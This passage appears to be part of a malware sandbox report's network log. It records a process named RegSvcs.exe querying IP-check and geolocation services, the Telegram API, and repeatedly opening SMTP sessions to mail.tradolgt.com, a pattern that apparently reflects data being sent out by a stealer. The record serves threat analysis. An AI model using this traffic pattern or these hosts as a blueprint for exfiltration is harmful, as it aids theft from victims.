Jan 3, 2025 09:52:42.329634905 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.472071886 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.473073959 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:42.477845907 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.626276016 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.626292944 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.626305103 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.626321077 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.626416922 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:42.632544041 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:42.637362003 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.778642893 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.780771017 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:42.785657883 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.927405119 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:42.927681923 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:42.932498932 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:43.091962099 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:43.092232943 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:43.097031116 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.026711941 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.029802084 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.031871080 CET	587	50052	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.031949997 CET	50052	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.034585953 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.034719944 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.622983932 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.623195887 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.628010988 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.769414902 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.769560099 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.774446011 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.916857004 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:44.917340040 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:44.922139883 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.075944901 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.075962067 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.075973988 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.075989008 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.076030016 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.076066017 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.078157902 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.083017111 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.224216938 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.225249052 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.230068922 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.378989935 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.380418062 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.385258913 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.527327061 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:45.527638912 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:45.532428026 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.432130098 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.432710886 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:47.437552929 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.578563929 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.579029083 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:47.580471039 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:47.580830097 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.580883980 CET	50053	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:47.583791018 CET	587	50053	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.585849047 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:47.585916996 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.142061949 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.142240047 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.147141933 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.305924892 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.310695887 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.315574884 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.461174011 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.470077038 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.474932909 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.634181023 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.634203911 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.634215117 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.634303093 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.637238026 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.642090082 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.786804914 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.787918091 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.792829037 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.937180042 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:48.937381983 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:48.942301035 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:49.087038040 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:49.087332010 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:49.092149019 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.239129066 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.239370108 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:51.244219065 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.389189005 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.389790058 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:51.389909983 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.389960051 CET	50054	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:51.390903950 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:51.394655943 CET	587	50054	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.395768881 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.395840883 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:51.997035980 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:51.997503996 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.002312899 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.146397114 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.154567957 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.159419060 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.305747986 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.332983971 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.337865114 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.493669987 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.493694067 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.493705034 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.494184971 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.502075911 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.506918907 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.650942087 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.654066086 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.658864975 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.806551933 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.806760073 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.811614990 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.956829071 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:52.957195997 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:52.962028027 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.096020937 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.096251011 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.101125002 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.245057106 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.245620012 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.245944977 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.245981932 CET	50055	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.246905088 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.250396013 CET	587	50055	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.251705885 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.251763105 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.822397947 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.825232029 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.830063105 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.971074104 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:55.972918987 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:55.977750063 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.119668961 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.121155024 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.125962019 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.275126934 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.275141954 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.275152922 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.275202036 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.276745081 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.281522036 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.422558069 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.427172899 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.432015896 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.572997093 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.573409081 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.578172922 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.682950020 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.686561108 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.688039064 CET	587	50056	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.690673113 CET	50056	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:56.691353083 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:56.694657087 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.230453968 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.230603933 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.235493898 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.376312017 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.376480103 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.381227970 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.522917032 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.523377895 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.528136969 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.681016922 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.681082964 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.681094885 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.681130886 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.681159973 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.681225061 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.683196068 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.687957048 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.828886032 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.833636999 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.838517904 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.979322910 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:57.980688095 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:57.985467911 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:58.126471996 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:52:58.126703024 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:52:58.131508112 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.339062929 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.339243889 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:00.344397068 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.484842062 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.485685110 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.485817909 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:00.485817909 CET	50057	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:00.486568928 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:00.490782976 CET	587	50057	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.491871119 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:00.494654894 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.035149097 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.101700068 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.106678009 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.248416901 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.338555098 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.594805002 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.599809885 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.747167110 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.836483002 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.841430902 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.992160082 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.992177963 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.992191076 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:01.992228985 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:01.996104002 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:02.000896931 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.142736912 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.145538092 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:02.150331974 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.292220116 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.292632103 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:02.297445059 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.443419933 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:02.443852901 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:02.448687077 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:03.385780096 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:03.387084961 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:03.390856981 CET	587	50058	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:03.390923023 CET	50058	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:03.391921997 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:03.394721985 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:03.984966993 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:03.987943888 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.001468897 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.147802114 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.147960901 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.152791023 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.298666954 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.494978905 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.812594891 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.813163042 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.814527035 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.908107996 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.908138990 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.908299923 CET	587	50059	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:04.908356905 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:04.908412933 CET	50059	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.523578882 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.523993969 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.528778076 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.669959068 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.670716047 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.675513983 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.817783117 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.818211079 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.823015928 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.973527908 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.973567963 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.973578930 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:05.973717928 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.975142002 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:05.979871035 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:06.120930910 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:06.121922016 CET	50060	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:53:06.126794100 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:06.267869949 CET	587	50060	208.91.199.115	192.168.2.5
Jan 3, 2025 09:53:06.307421923 CET	50060	587	192.168.2.5	208.91.199.115

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 09:48:59.576112986 CET	64101	53	192.168.2.5	1.1.1.1
Jan 3, 2025 09:48:59.582983017 CET	53	64101	1.1.1.1	192.168.2.5
Jan 3, 2025 09:49:00.524463892 CET	49508	53	192.168.2.5	1.1.1.1
Jan 3, 2025 09:49:00.533766985 CET	53	49508	1.1.1.1	192.168.2.5
Jan 3, 2025 09:49:11.368176937 CET	65351	53	192.168.2.5	1.1.1.1
Jan 3, 2025 09:49:11.375361919 CET	53	65351	1.1.1.1	192.168.2.5
Jan 3, 2025 09:49:18.672430038 CET	54213	53	192.168.2.5	1.1.1.1
Jan 3, 2025 09:49:19.099406004 CET	53	54213	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 09:48:59.576112986 CET	192.168.2.5	1.1.1.1	0xd14d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:00.524463892 CET	192.168.2.5	1.1.1.1	0xf3bb	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:11.368176937 CET	192.168.2.5	1.1.1.1	0x6831	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:18.672430038 CET	192.168.2.5	1.1.1.1	0x432f	Standard query (0)	mail.tradolgt.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:48:59.582983017 CET	1.1.1.1	192.168.2.5	0xd14d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:00.533766985 CET	1.1.1.1	192.168.2.5	0xf3bb	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:00.533766985 CET	1.1.1.1	192.168.2.5	0xf3bb	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:11.375361919 CET	1.1.1.1	192.168.2.5	0x6831	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 3, 2025 09:49:19.099406004 CET	1.1.1.1	192.168.2.5	0x432f	No error (0)	mail.tradolgt.com		208.91.199.115	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	132.226.247.73	80	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 09:48:59.593491077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 3, 2025 09:49:00.267025948 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 3, 2025 09:49:00.270973921 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 3, 2025 09:49:00.486212015 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 3, 2025 09:49:01.195245028 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
